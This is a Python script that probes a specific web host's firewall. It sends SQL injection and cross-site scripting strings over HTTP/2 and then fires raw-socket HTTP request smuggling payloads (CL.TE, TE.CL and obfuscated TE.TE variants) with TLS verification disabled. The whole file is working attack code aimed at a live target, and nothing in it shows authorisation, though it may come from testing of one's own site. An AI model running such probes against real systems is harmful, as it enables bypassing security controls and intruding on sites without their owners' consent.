import httpx, socket, ssl

TARGET = "https://regtest846.alwaysdata.net/"
H2 = "https://regtest846.alwaysdata.net/?q="

print("== HTTP/2 via httpx ==")
try:
    with httpx.Client(http2=True, verify=False, timeout=15) as c:
        for q in ["hello", "1' OR 1=1--", "<script>alert(1)</script>", "admin' OR '1'='1"]:
            import urllib.parse
            r = c.get(H2 + urllib.parse.quote(q))
            mark = "blocked" if "blocked by WAF" in r.text else ("app" if r.status_code == 200 else "?")
            print(f"  h2 q={q!r} => {r.http_version} {r.status_code} len={len(r.text)} [{mark}]")
except Exception as e:
    print("  h2 FAIL:", str(e)[:120])

print("== raw-socket CL.TE smuggling probe (GET /?q= on WAF) ==")
HOST = "regtest846.alwaysdata.net"
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

def raw_send(data, label):
    try:
        s = socket.create_connection((HOST, 443), timeout=10)
        ss = ctx.wrap_socket(s, server_hostname=HOST)
        ss.sendall(data.encode())
        resp = b""
        try:
            while True:
                chunk = ss.recv(4096)
                if not chunk:
                    break
                resp += chunk
                if b"</html>" in resp or b"\r\n\r\n" in resp and len(resp) > 50:
                    break
        except socket.timeout:
            pass
        ss.close()
        head = resp[:80].decode(errors="replace").replace("\r\n", " ")
        print(f"  {label} => {len(resp)}B: {head}")
    except Exception as e:
        print(f"  {label} ERR: {str(e)[:100]}")

# CL.TE: front uses CL, back uses TE
sm1 = ("POST / HTTP/1.1\r\n"
       "Host: regtest846.alwaysdata.net\r\n"
       "Content-Length: 11\r\n"
       "Transfer-Encoding: chunked\r\n"
       "\r\n"
       "0\r\n"
       "\r\n"
       "GET / HTTP/1.1")
raw_send(sm1, "CL.TE(0;GET)")

# TE.CL: front uses TE, back uses CL
sm2 = ("POST / HTTP/1.1\r\n"
       "Host: regtest846.alwaysdata.net\r\n"
       "Content-Length: 4\r\n"
       "Transfer-Encoding: chunked\r\n"
       "\r\n"
       "8\r\n"
       "GET /?\r\n"
       "0\r\n"
       "\r\n")
raw_send(sm2, "TE.CL")

# TE.TE obfuscated
sm3 = ("POST / HTTP/1.1\r\n"
       "Host: regtest846.alwaysdata.net\r\n"
       "Content-Length: 4\r\n"
       "Transfer-Encoding: chunked, identity\r\n"
       "\r\n"
       "0\r\n"
       "\r\n")
raw_send(sm3, "TE.TE(comma)")

print("done")